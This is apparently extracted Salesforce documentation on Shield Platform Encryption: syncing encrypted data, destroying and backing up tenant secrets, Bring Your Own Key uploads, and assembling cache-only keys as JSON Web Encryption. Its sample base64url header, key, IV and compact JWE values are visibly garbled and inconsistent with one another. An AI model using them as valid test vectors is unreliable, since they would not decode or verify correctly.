Contact Salesforce support 2–3 business days before you need the background encryption completed. The time to complete the process varies based on the volume of data. It could take several days.

Specify the data
Provide the list of objects, field names, and data elements you want encrypted or re-encrypted.

Verify the list
Verify that this list matches what’s encrypted in Setup:
- Data elements selected on the Encryption Policy page
- Standard fields selected on the Encrypt Standard Fields page
- Custom fields you selected for encryption on the Field Definition page

Tip: Also check that your field values aren’t too long for encryption.

Include files and attachments?
Encryption for files and attachments is all or nothing. You don’t have to specify which ones.

Include history and feed data?
Specify whether you want the corresponding field history and feed data encrypted.

Choose a time
Salesforce Customer Support can run the background encryption service Monday through Friday between 6 AM and 5 PM in your time zone.

Tip: If you’re not sure which data is already encrypted, visit the Encryption Statistics page, which keeps a record of all fields that you have encrypted.

What If You Destroyed Your Key?

If your encryption key has been destroyed, your data can’t be automatically decrypted. You have some options for handling this data.

- Reimport the destroyed key from a backup, then ask Salesforce Customer Support to synchronize your data with your encryption policy.
- Delete all the data that was encrypted with the destroyed key, then ask Salesforce Customer Support to synchronize your data.
- Ask Salesforce Customer Support to mass overwrite the data that was encrypted with the destroyed key with “??????”.

Note: Keep these points in mind when disabling encryption on data encrypted with destroyed material.

- When you disable encryption for files that were encrypted with a key that’s been destroyed, the files don’t automatically go away. You can ask Salesforce support to delete the files.
- The automatic decryption process takes longer when you disable encryption on fields encrypted with a key that’s been destroyed. Salesforce notifies you by email when the process finishes.
Sync Data with Self-Service Background Encryption

Synchronizing your data with your active key material keeps your encryption policy up to date. You can sync data in standard and custom fields, the Attachment—Content Body field, and for field history and feed tracking changes from the Encryption Statistics and Data Sync page in Setup. To synchronize all other encrypted data, contact Salesforce Customer Support.

Self-service background encryption supports all standard and custom fields except description and long and rich text area fields. For help synchronizing unsupported fields and other encrypted data, contact Salesforce Customer Support.

To include field history and feed tracking values in self-service background encryption processes, first turn on Encrypt Field History and Feed Tracking Values on the Advanced Settings page. You can also enable field history and feed tracking encryption programmatically with the PlatformEncryptionSettings metadata type. When this setting is turned on, the self-service background encryption process applies your active key material to your field history and feed tracking values.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Statistics.

2. Select an object type or custom object from the left pane.

   **Note:** The Sync Needed column indicates whether you need to synchronize your data. This column displays Yes when you add or disable encryption on fields, rotate key material, or change a field’s encryption scheme.

3. Click Sync.

   Supported standard and custom fields are encrypted with your active key material and encryption policy in the background. After the service syncs your data, it gathers statistics for the object. To view your gathered statistics, wait for your verification email and then refresh the Encryption Statistics and Data Sync page.

   **Note:** The sync process time varies depending on how much data you have in your object. You’re notified by email when the sync process is finished. You can sync your data from the Encryption Statistics and Data Sync page once every 7 days.

   If you have lots of data in Attachment—Content Body fields, the sync process breaks your request into batches and syncs them in sequence. However, sometimes we can’t encrypt all these batches at once. This is a service protection that helps Salesforce maintain functional network loads. If the sync process finishes but the encryption statistics status is less than 100% complete, click Sync again. The background encryption service picks up where it left off.
Destroy Key Material

Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where access to related data is no longer needed. Your key material is unique to your org and to the specific data to which it applies. Once you destroy key material, related data is not accessible unless you import previously exported key material.

You are solely responsible for making sure that your data and key material are backed up and stored in a safe place. Salesforce can’t help you with deleted, destroyed, or misplaced tenant secrets and keys.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the table that lists your tenant secrets, find the row that contains the one you want to destroy. Click Destroy.
3. A warning box appears. Type in the text as shown and select the checkbox acknowledging that you’re destroying a tenant secret, then click Destroy. After you destroy the key that encrypted the content, file previews and content that was already cached in the user’s browser may still be visible in cleartext. When the user logs in again, the cached content is removed.

   If you create a sandbox org from your production org and then destroy the tenant secret in your sandbox org, the tenant secret still exists in the production org.

4. To import your tenant secret, click Import > Choose File and select your file. Make sure you’re importing the correct version of the tenant secret.

   Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Require Two-Factor Authentication for Key Management

Two-factor authentication is a powerful tool for securing access to data and resources. You can require two-factor authentication for Shield Platform Encryption key management tasks like generating, rotating, or uploading key material and certificates.

⚠ Important: Make sure that you provide security administrators a way to get a time-based, one-time password. This password is their second authentication factor. Otherwise, they can’t complete encryption key-related tasks.

1. From Setup, in the Quick Find box, enter Identity Verification, and then select Identity Verification.
2. Select Raise session to high-assurance from the Manage Encryption Keys dropdown. All admins with the Manage Encryption Keys permission must use a second form of authentication to complete key management tasks through Setup and the API.
Bring Your Own Key (BYOK)

When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform Encryption, plus the extra assurance that comes from exclusively managing your tenant secret.

Controlling your own tenant secret entails contacting Salesforce Customer Support to enable Bring Your Own Keys, generating a BYOK-compatible certificate, using that certificate to encrypt and secure your self-generated tenant secret, then granting the Salesforce Shield Platform Encryption key management machinery access to your tenant secret.

IN THIS SECTION:
1. Bring Your Own Key Overview
   Yes. You can generate and store your customer-supplied key material outside of Salesforce using your own crypto libraries, enterprise key management system, or hardware security module (HSM). You then grant the Salesforce Shield Platform Encryption key management machinery access to those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed certificate.

2. Generate a BYOK-Compatible Certificate
   To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA) signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, org-specific tenant secret key.

3. Generate and Wrap BYOK Key Material
   Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the secret, and encrypt it with the public key from the BYOK-compatible certificate you generated.

4. Sample Script for Generating a BYOK Tenant Secret
   We’ve provided a helper script that may be handy for preparing your tenant secret for upload. The script generates a random number as your BYOK tenant secret, calculates an SHA256 hash of the secret, and uses the public key from the certificate to encrypt the secret.

5. Upload Your BYOK Tenant Secret
   After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key Management Service (KMS) uses your tenant secret to derive your org-specific data encryption key.

6. Opt-Out of Key Derivation with BYOK
   If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. Opting out gives you even more control of the key material used to encrypt and decrypt your data.

7. Take Good Care of Your BYOK Keys
   When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive without a backup.

8. Troubleshooting Bring Your Own Key
   One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Bring Your Own Key service.
Bring Your Own Key Overview

Yes. You can generate and store your customer-supplied key material outside of Salesforce using your own crypto libraries, enterprise key management system, or hardware security module (HSM). You then grant the Salesforce Shield Platform Encryption key management machinery access to those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed certificate.

To work with our key management machinery, your customer-supplied key material needs to meet these specifications:

- 256-bit size
- Encrypted with a public RSA key that is extracted from the downloaded BYOK certificate, then padded using OAEP padding
- Once it’s encrypted, it must be encoded in standard base64

To work with encryption keys, you need the Manage Encryption Keys permission. To generate BYOK-compatible certificates, you need the Customize Application permission.
Generate a BYOK-Compatible Certificate

To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA) signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, org-specific tenant secret key.

To create a self-signed certificate:

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Click Bring Your Own Key.
3. Click Create Self-Signed Certificate.
4. Enter a unique name for your certificate in the Label field. The Unique Name field automatically assigns a name based on what you enter in the Label field.
   The Exportable Private Key (1), Key Size (2), and Use Platform Encryption (3) settings are pre-set. These settings ensure that your self-signed certificate is compatible with Salesforce Shield Platform Encryption.
5. When the Certificate and Key Detail page appears, click Download Certificate.

If you’re not sure whether a self-signed or CA-signed certificate is right for you, consult your organization’s security policy. See Certificates and Keys in Salesforce Help for more about what each option implies.

To create a CA-signed certificate, follow the instructions in the Generate a Certificate Signed By a Certificate Authority topic in Salesforce Help. Remember to manually change the Exportable Private Key, Key Size, and Platform Encryption settings to ensure that your certificate is BYOK-compatible.

EDITIONS


Available in both Salesforce Classic and Lightning Experience.

USER PERMISSIONS

To generate, destroy, export, import, upload, and configure tenant secrets and customer-supplied key material:
- Manage Encryption Keys
- Edit, upload, and download HSM-protected certificates with the Shield Platform Encryption Bring Your Own Key service
- Manage Certificates
- Customize Application
- Manage Encryption Keys
Generate and Wrap BYOK Key Material

Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the secret, and encrypt it with the public key from the BYOK-compatible certificate you generated.

1. Generate a 256-bit tenant secret using the method of your choice.
   
   You can generate your tenant secret in one of 2 ways:
   
   - Use your own on-premises resources to generate a tenant secret programmatically, using an open-source library such as Bouncy Castle or OpenSSL.
     
     Tip: We’ve provided a script on page 192 that may be useful as a guide to the process.
   
   - Use a key brokering partner that can generate, secure, and share access to your tenant secret.

2. Wrap your tenant secret with the public key from the BYOK-compatible certificate you generated, using the default SHA1 padding algorithm.
   
   Specify the OAEP padding scheme. Make sure the resulting encrypted tenant secret and hashed tenant secret files are encoded using base64.

3. Encode this encrypted tenant secret to base64.

4. Calculate an SHA-256 hash of the plaintext tenant secret.

5. Encode the SHA-256 hash of the plaintext tenant secret to base64.

Sample Script for Generating a BYOK Tenant Secret

We’ve provided a helper script that may be handy for preparing your tenant secret for upload. The script generates a random number as your tenant secret, calculates an SHA256 hash of the secret, and uses the public key from the certificate to encrypt the secret.

1. Download the script from the Salesforce Knowledge Base. Save it in the same directory as the certificate.

2. Run the script specifying the certificate name, like this: ./secretgen.sh my_certificate.crt
   
   Replace this certificate name with the actual filename of the certificate you downloaded.

   Tip: If needed, use chmod +w secretgen.sh to make sure that you have write permission to the file and use chmod 775 to make it executable.

3. The script generates several files. Look for the two files that end with the .b64 suffix. The files ending in .b64 are your base 64-encoded encrypted tenant secret and base 64-encoded hash of the plaintext tenant secret. You’ll need both of these files for the next step.
Upload Your BYOK Tenant Secret

After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key Management Service (KMS) uses your tenant secret to derive your org-specific data encryption key.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.

2. Click Bring Your Own Key.

3. In the Upload Tenant Secret section, attach both the encrypted key material and the hashed plaintext key material. Click Upload.

This tenant secret automatically becomes the active tenant secret.

Your tenant secret is now ready to be used for key derivation. From here on, the Shield KMS uses your tenant secret to derive an org-specific data encryption key. The app server then uses this key to encrypt and decrypt your users’ data.

If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. For more information, see “Opt-Out of Key Derivation with BYOK” in Salesforce Help.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you reach the limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data that it encrypts with an active key.

4. Export your tenant secret, and back it up as prescribed in your organization’s security policy.

To restore a destroyed tenant secret, reimport it. The exported tenant secret is different from the tenant secret you uploaded. It’s encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Opt-Out of Key Derivation with BYOK

If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. Opting out gives you even more control of the key material used to encrypt and decrypt your data.

Generate your customer-supplied data encryption key using a method of your choice. Then calculate an SHA256 hash of the key, and encrypt it with the public key from a BYOK-compatible certificate. See Upload Your BYOK Tenant Secret for details about how to prepare customer-supplied key material.

1. Make sure that your org has the Bring Your Own Keys feature enabled. To enable this feature, contact Salesforce Customer Support.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
3. Enable Allow BYOK to Opt-Out of Key Derivation.
   You can also enable the Allow BYOK to Opt-Out of Key Derivation setting programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.
   You can now opt out of key derivation when you upload key material.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
5. Click Bring Your Own Key.
6. Deselect Use Salesforce key derivation.
7. In the Upload Tenant Secret section, attach both your encrypted data encryption key and your hashed plaintext data encryption key.
8. Click Upload.
   This data encryption key automatically becomes the active key.

From now on, the Shield Key Management Service (KMS) skips the derivation process and uses your data encryption key to directly encrypt and decrypt your data. You can review the derivation status of all key material on the Key Management page.
9. Export your data encryption key and back it up as prescribed in your organization’s security policy.

To restore your data encryption key, reimport it. The exported data encryption key is different from the data encryption key you uploaded. It is encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Take Good Care of Your BYOK Keys

When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive without a backup.

Back up all imported key material after you upload them to Salesforce. This ensures that you have copies of your active key material. See Back Up Your Tenant Secret in Salesforce Help.

Review your company policy on key rotation. You can rotate and update your keys on your own schedule. See Rotate Your Encryption Keys.

Important: If you accidentally destroy a tenant secret that isn’t backed up, Salesforce won’t be able to help you retrieve it.

Troubleshooting Bring Your Own Key

One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Bring Your Own Key service.

I’m trying to use the script you provide, but it won’t run.

Make sure that you are running the right script for your operating system. If you are working on a Windows machine, you can install a Linux emulator and use the Linux script. These issues can also prevent the script from running:

- You don’t have write permission in the folder you’re trying to run the script from. Try running the script from a folder that you have write permission for.
- The certificate that the script references is missing. Make sure you’ve properly generated the certificate.
- The certificate is missing or is not being referenced by the correct name. Make sure you’ve entered the correct file name for your certificate in the script.

I want to use the script you provide, but I also want to use my own random number generator.

The script we provide uses a random number generator to create a random value that is then used as your tenant secret. If you would like to use a different generator, replace `head -c 32 /dev/urandom | tr '
'` (or, in the Mac version, `head -c 32 /dev/urandom > $PLAINTEXT_SECRET`) with a command that generates a random number using your preferred generator.

What if I want to use my own hashing process to hash my tenant secret?

No problem. Just make sure that the result meets these requirements:
Uses an SHA-256 algorithm.
Results in a base64 encoded hashed tenant secret.
Generates the hash of the random number BEFORE encrypting it.
If any of these three criteria aren’t met, you can’t upload your tenant secret.

How should I encrypt my tenant secret before I upload it to Salesforce?
If you’re using the script provided, the encryption process is taken care of. If you do not use the script, specify the OAEP padding scheme when you encrypt your tenant secret. Make sure the resulting encrypted tenant secret and hashed tenant secret files are encoded using base64. If either of these criteria are not met, you can’t upload your tenant secret.
If you choose to not use the script provided, follow the instructions in the Generate And Wrap Your Tenant Secret Help topic.

I can’t upload my Encrypted tenant secret and Hashed tenant secret.
A handful of errors can prevent your files from uploading. Use the chart to make sure your tenant secrets and certificates are in order.

<table>
<thead>
<tr>
<th>Possible cause</th>
<th>Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Your files were generated with an expired certificate.</td>
<td>Check the date on your certificate. If it has expired, you can renew your certificate or use another one.</td>
</tr>
<tr>
<td>Your certificate is not active, or is not a valid Bring Your Own Key certificate.</td>
<td>Ensure that your certificate settings are compatible with the Bring Your Own Key feature. Under the Certificate and Key Edit section of the Certificates page, select a 4096-bit certificate size, disable Exportable Private Key, and enable Platform Encryption.</td>
</tr>
<tr>
<td>You haven’t attached both the encrypted tenant secret and the hashed tenant secret.</td>
<td>Make sure that you attach both the encrypted tenant secret and hashed tenant secret. Both of these files should have a .b64 suffix.</td>
</tr>
<tr>
<td>Your tenant secret or hashed tenant secret wasn’t generated properly.</td>
<td>Several problems can cause this error. Usually, the tenant secret or hashed tenant secret wasn’t generated using the correct SSL parameters. If you are using OpenSSL, you can refer to the script for an example of the correct parameters you should use to generate and hash your tenant secret. If you are using a library other than OpenSSL, check that library’s support page for help with finding the correct parameters to both generate and hash your tenant secret. Still stuck? Contact your Salesforce account executive. They’ll put you in touch with someone at Salesforce who can help.</td>
</tr>
</tbody>
</table>

I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive. They’ll put you in touch with a support team specific to this feature.
Cache-Only Key Service

Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted key material. You can store your key material outside of Salesforce and have the Cache-Only Key Service fetch your key on demand from a key service that you control. Your key service transmits your key over a secure channel that you configure, and the Cache-Only Key Service uses your key for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only keys in any system of record or backups. You can revoke key material at any time.

IN THIS SECTION:

1. How Cache-Only Keys Works
   The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.

2. Prerequisites and Terminology for Cache-Only Keys
   Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the key management tasks. Before you start using the service, understand how to create and host your key material in a way that’s compatible with Salesforce’s BYOK service.

3. Create and Assemble Your Key Material
   The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then wrapped using JSON Web Encryption (JWE).

4. Configure Your Cache-Only Key Callout Connection
   Use a named credential to specify the endpoint for your callout, and identify the key that you want to fetch from your endpoint.

5. Add Replay Detection for Cache-Only Keys
   Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled, replay detection inserts an autogenerated, unique marker called a RequestIdentifier into every callout. The RequestIdentifier includes the key identifier, a nonce generated for that callout instance, and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time identifier for each valid callout request. Once you set up your key service to accept and return the RequestIdentifier, any callout with missing or mismatched RequestIdentifiers is aborted.

6. Check Your Cache-Only Key Connection
   Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service from fetching your keys.

7. Destroy a Cache-Only Key
   When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.

8. Reactivate a Cache-Only Key
   If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed cache-only key from Setup. Cache-only keys can’t be reactivated programmatically. Reactivating a destroyed key makes it the active key. Before you reactivate a destroyed key, make sure that the corresponding key service connection is recovered.

9. Considerations for Cache-Only Keys
   These considerations apply to all data that you encrypt using the Shield Platform Encryption Cache-Only Key Service.

10. Troubleshoot Cache-Only Keys
    One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Cache-Only Key Service.
How Cache-Only Keys Works

The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.

Figures 1 and 2 show how Salesforce fetches keys on-demand from your specified key service. Whether you store your keys with an on-premises key service or a cloud-based key service, the flow is the same. When users access encrypted data, or add sensitive data to encrypted data elements, the Cache-Only Key Service makes a callout to your key service. Your key service passes key material, wrapped securely in JSON Web Encryption format, through a secure, authenticated channel that you set up.

![Figure 1: On-premises Key Service](image1)

![Figure 2: Cloud-Based Key Service](image2)

As a core offering of the Shield KMS, enhanced cache controls ensure that key material is stored securely while in the cache. The Shield KMS encrypts the fetched key material with an org-specific AES 256-bit cache encryption key and stores the encrypted key material in the cache for encrypt and decrypt operations. HSM-protected keys secure the cache encryption key in the cache, and the cache encryption key is rotated along with key lifecycle events such as key destruction and rotation.
The enhanced cache controls provide a single source of truth for key material used to encrypt and decrypt your data. Subsequent encryption and decryption requests go through the encrypted key cache until the cache-only key is revoked or rotated, or the cache is flushed. Once the cache is flushed, the Cache-Only Key Service fetches key material from your specified key service. The cache is regularly flushed every 72 hours, and certain Salesforce operations flush the cache on average every 24 hours. Destroying a data encryption key invalidates the corresponding data encryption key that’s stored in the cache.

Because cache-only keys bypass the key derivation process, they’re used to directly encrypt and decrypt your data.

**Prerequisites and Terminology for Cache-Only Keys**

Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the key management tasks. Before you start using the service, understand how to create and host your key material in a way that’s compatible with Salesforce’s BYOK service.

**Prerequisites**

1. Prepare your Salesforce org. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or customer-supplied. You can create a tenant secret by clicking **Generate Tenant Secret** on the Key Management page in Setup.

2. Generate and Host Key Material. The cache-only key exchange protocol and format requires that keys are wrapped in an opinionated JSON Web Encryption (JWE). This format uses RSAES-OAEP for key encryption and AES GCM for content encryption.

   Use a secure, trusted service to generate, store, and back up your key material.

3. Use and maintain a reliable high-availability key service. Choose a high-availability key service with an acceptable service level agreement (SLA), predefined maintenance procedures, and processes to mitigate any potential impact to business continuity.

   When the connection between Salesforce and your key service is broken, the Cache-Only Key Service can encrypt and decrypt data as long as your key material is in the cache. However, keys don’t stay in the cache for long. The cache is regularly flushed every 72 hours, but some Salesforce operations flush the cache about every 24 hours.

   If your key material isn’t in the cache, and the connection to your key service is broken, users can’t encrypt or decrypt records. Make sure that you use a key service that Salesforce can connect to at any time. This is especially important during busy times like the end of year or end of quarter.

4. Maintain a secure callout endpoint. The cache-only key exchange protocol requires that keys are wrapped in an opinionated JSON format. Host your wrapped key inside the key response at a location Salesforce can request.

   To ensure easy IP whitelisting, the Cache-Only Key Service uses named credentials to establish a secure, authenticated, whitelisted connection to external sites. You can configure your named credentials to use popular authentication formats, such as Mutual TLS and OAuth. You can change these authentication protocols at any time.

5. Actively monitor your key service logs for errors. While Salesforce is here to help you with the Shield Platform Encryption service, you are responsible for maintaining the high-availability key service that you use to host your key material. You can use the **RemoteKeyCalloutEvent** object to review or track cache-only key events.

   **Warning:** Because you’re in control of your keys, you’re responsible for securing and backing up your key material. Salesforce can’t retrieve lost key material stored outside of our encrypted key cache.

6. Know how to format and assemble your key material. Format key material hosted outside of Salesforce in a way that’s compatible with the Cache-Only Key Service. Make sure that you can generate the following components in the required formats.
Table 1: Cache-Only Key Components

<table>
<thead>
<tr>
<th>Component</th>
<th>Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data encryption key (DEK)</td>
<td>AES 256-bit</td>
</tr>
<tr>
<td>Content encryption key (CEK)</td>
<td>AES 256-bit</td>
</tr>
<tr>
<td>BYOK-compatible certificate</td>
<td>A 4096-bit RSA certificate who’s private key is encrypted with a derived, org-specific tenant secret key</td>
</tr>
<tr>
<td>JSON Web Encryption content and header</td>
<td>See a sample in Github</td>
</tr>
<tr>
<td>Algorithm for encrypting the CEK</td>
<td>RSA-OAEP</td>
</tr>
<tr>
<td>Algorithm for encrypting the DEK</td>
<td>A256GCM</td>
</tr>
<tr>
<td>Unique key identifier</td>
<td>Allows numbers, uppercase and lowercase letters, periods, hyphens, and underscores</td>
</tr>
<tr>
<td>Initialization vector</td>
<td>Encoded in base64url</td>
</tr>
<tr>
<td>JSON web token ID (JTI)</td>
<td>A 128-bit hex encoded, randomly generated identifier</td>
</tr>
</tbody>
</table>

Read more about assembling your key material in the Generate and Assemble Cache-Compatible Keys section. You can also look at our Cache-Only Key Wrapper in Github for examples and sample utility.

**Terminology**

Here are some terms that are specific to the Cache-Only Key Service.

**Content Encryption Key**

For each key request, your key service endpoint generates a unique content encryption key. The content encryption key wraps the data encryption key, which is in turn encrypted by the key encrypting key and placed in the JWE header of the key response.

**JSON Web Encryption**

The JSON-based structure that the Shield Platform Encryption service uses to encrypted content. JSON Web Encryption, or JWE, uses RSAES-OAEP for key encryption and AES GCM for content encryption.

**JSON Web Token ID**

A unique identifier for the JSON web token, which enables identity and security information to be shared across security domains.

**Key Identifier**

The Key ID, or KID, is the unique identifier for your key. The KID is used as the suffix in the named credential and for validation of the KID in the response. In Setup, enter this identifier in the Unique Key Identifier field.
Create and Assemble Your Key Material

The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then wrapped using JSON Web Encryption (JWE).

Cache-only key material is wrapped in a JSON format. An example cache-only key is used throughout this article to illustrate how key material changes as you assemble it.

1. Generate a 256-bit AES data encryption key. You can use the cryptographically secure method of your choice.
2. Generate a 256-bit AES content encryption key using a cryptographically secure method.
3. Generate and download your BYOK-compatible certificate.
4. Create the JWE protected header. The JWE protected header is a JSON object with 3 claims: the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the data encryption key, and the unique ID of the cache-only key. Here’s an example header to get us started.

```
{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}
```

5. Encode the JWE protected header as BASE64URL(UTF8(JWE Protected Header)).

```
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkJkEyNTZHQ0oICjJraWQiOiI5ODDJjMzc1Y1mNDZiLTQ0MjtOGMyZC00ZDFhNjxkNTJhmGliffQ
```

6. Encrypt the content encryption key with the public key from the BYOK certificate using the RSAES-OAEP algorithm. Then encode this encrypted content encryption key as BASE64URL(Encrypted CEK).

```
192QA-R7b6Gtjo0tG4Gly1Jtii-Pf-519YpStYoIntxmx4NR_myvfT24oBCWhk6hy_dqAL7JlvO449Ig1AB_i9GRdyVbTKnJQ19WiVuka29jVnxFFUYTWZ-sVK4puwO31HwWbFms14jf0xP5-5amiTz5oP0rkW99ugLIJ_7XylTuMA6VTLSp0L0yqHlWqJo12TqaWQiTwL1Sgrd3yhoMV1mCmEr2TfwTvr3yLPx4KbFK3pVzSpSTyreFTH12DPmnhEAvhCB2xR4-HMn2yS8s4QorWag0aT8XPjpv46m8uat2S4hab8v3Mq4H3eMwng2CJjXX-sDHuax2JUejcNC8HT56sa_I2qQFM1BC2sd4yBkjytLDQks1CVnV4b8hOJXY691W_zhtv3BoJJ391-EvkMoHpw111U91PhJMURvcvccfhs2k3y5C8QQt4t4Wu3p7IzvBuenL5I81QjtQjDjMzhbLlorFHgcAs9_FMwnPFYrFgshF1_v3Iqy7zJc60CFDxAXF8Tj_LoceMkCFL-9PrwrUL5yRTL17/CdZim7jby9ALxcmDgdU1lyvE6hJhMLeszAWtxvGGkejC0BsdbWaFFX113Uj7C-Mw8LcmlSlK2Zynhj2x-3VfV5hIVauC6ja1B62_UcKXR0c
```

7. Generate an initialization vector for use as input to the data encryption key’s AES wrapping. Then encode it in base64url.

```
N2WVMbpAxipAtG9O
```

8. Wrap your data encryption key with your content encryption key.
   a. Encode the JWE header as ASCII(BASE64URL(UTF8(JWE Protected Header)))).
   b. Reform authenticated encryption on the data encryption key with the AES GCM algorithm. Use the content encryption key as the encryption key, the initialization vector (the bytes, not the base64URL encoded version), and the Additional Authenticated Data value, requesting a 128-bit Authentication Tag output.
   c. Encode the resulting ciphertext as BASE64URL(Ciphertext).
   d. Encode the Authentication Tag as BASE64URL(Authentication Tag).

```
63wRVVKX020xu8cKgN1kqN-7EdA_mmk32DinS_zFo4
```
and

HC7Ev5lmsbTgwYpeGH5Rw

9. Assemble your JWE as a compact serialization of all the preceding values. Concatenate values separated by a period.

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0NjMtOGMy
ZC00ZDFhNjxxNTJhMGi1fQ.192QA-R7b6Gtjo0tG4Gly1Jtil-Pf-519YpStYp28YToMxgUxFmx4NR_myvf
T24oBCWkh6hy_dqAL7J1VO449Eg1AB_i9GRdyVbTKnQ1OiVkwW2qaZ9jVNXyFFUYTWWZ-sV4pUw0B31HwWB
fpMs14jf0exP5-5amiT250p0rkW99ugLW7_7X1yTuMIA6VTLSpL0YqChH1wQjo12TQAoG_tTwLI1gRd3Yoh
uMV1mCdErmR2TfwTvryLPx4KbFK3Pv5ZSpSIyreFTh12DpmhLEAVhCBZxR4-4Hn2ySSs4QorWagOaT9XPjPv
46mRmUATZSD4hab8v3Mq4H33Cmwnq2CJXX-sDhuxx2JuejxNC8HT5p6sa_12gQFM1B2C2d4yBKyj1DQKcSs1
CVav4buG0ksKJXY69iW_zhztV3DoJ9J01-EvkMoHpwl11U91FhJMUQRVwofghs2kzy5C8QQt4t4Wu3p7IV
zeneL5I81qj1Djm2hbLLorFHCAs9_FMwFyYFrgsHPl_v3Iqy7zJJC60fCfDaxAF8Txj_aLeOMkCF1-9Pwr
ULWyRTLMI7CdZIm7jb8v9ALxMdnqUilyvEeBJhgMLEzAWtxvGGkej0BdsbWaPFX113Uj7C-Mw8LcmpSLKZ
yEnhj2x-3Vf5hIVauC6ja1B62_UcqXRc.N2WVMbpA hpAtG90.63wRJVZXOZ0ux8cRqN1kqN-7EDa_mnnk
32DinS_zFo4.HC7Ev5lmsbTgwYpeGH5Rw

For more detailed examples of this process, check out the sample Cache-Only Key Wrapper in Github. You can use either the utility in this repository or another service of your choosing.
Configure Your Cache-Only Key Callout Connection

Use a named credential to specify the endpoint for your callout, and identify the key that you want to fetch from your endpoint.

1. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on the Key Management page in Setup.

2. From Setup, enter Named Credential in the Quick Find box, then select Named Credential.

   Tip: A named credential provides an authenticated callout mechanism through which Salesforce can fetch your key material. Because Salesforce whitelists named credentials, they’re a secure and convenient channel for key material stored outside of Salesforce.

   Learn more about named credentials, how to define a named credential, and how to grant access to authentication settings for named credentials in Salesforce Help.

3. Create a named credential. Specify an HTTPS endpoint from which Salesforce can fetch your key material.

4. From Setup, enter Platform Encryption in the Quick Find box and select Advanced Settings.

5. Select Allow Cache-Only Keys with BYOK.

   You can also enable the Cache-Only Key Service programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.

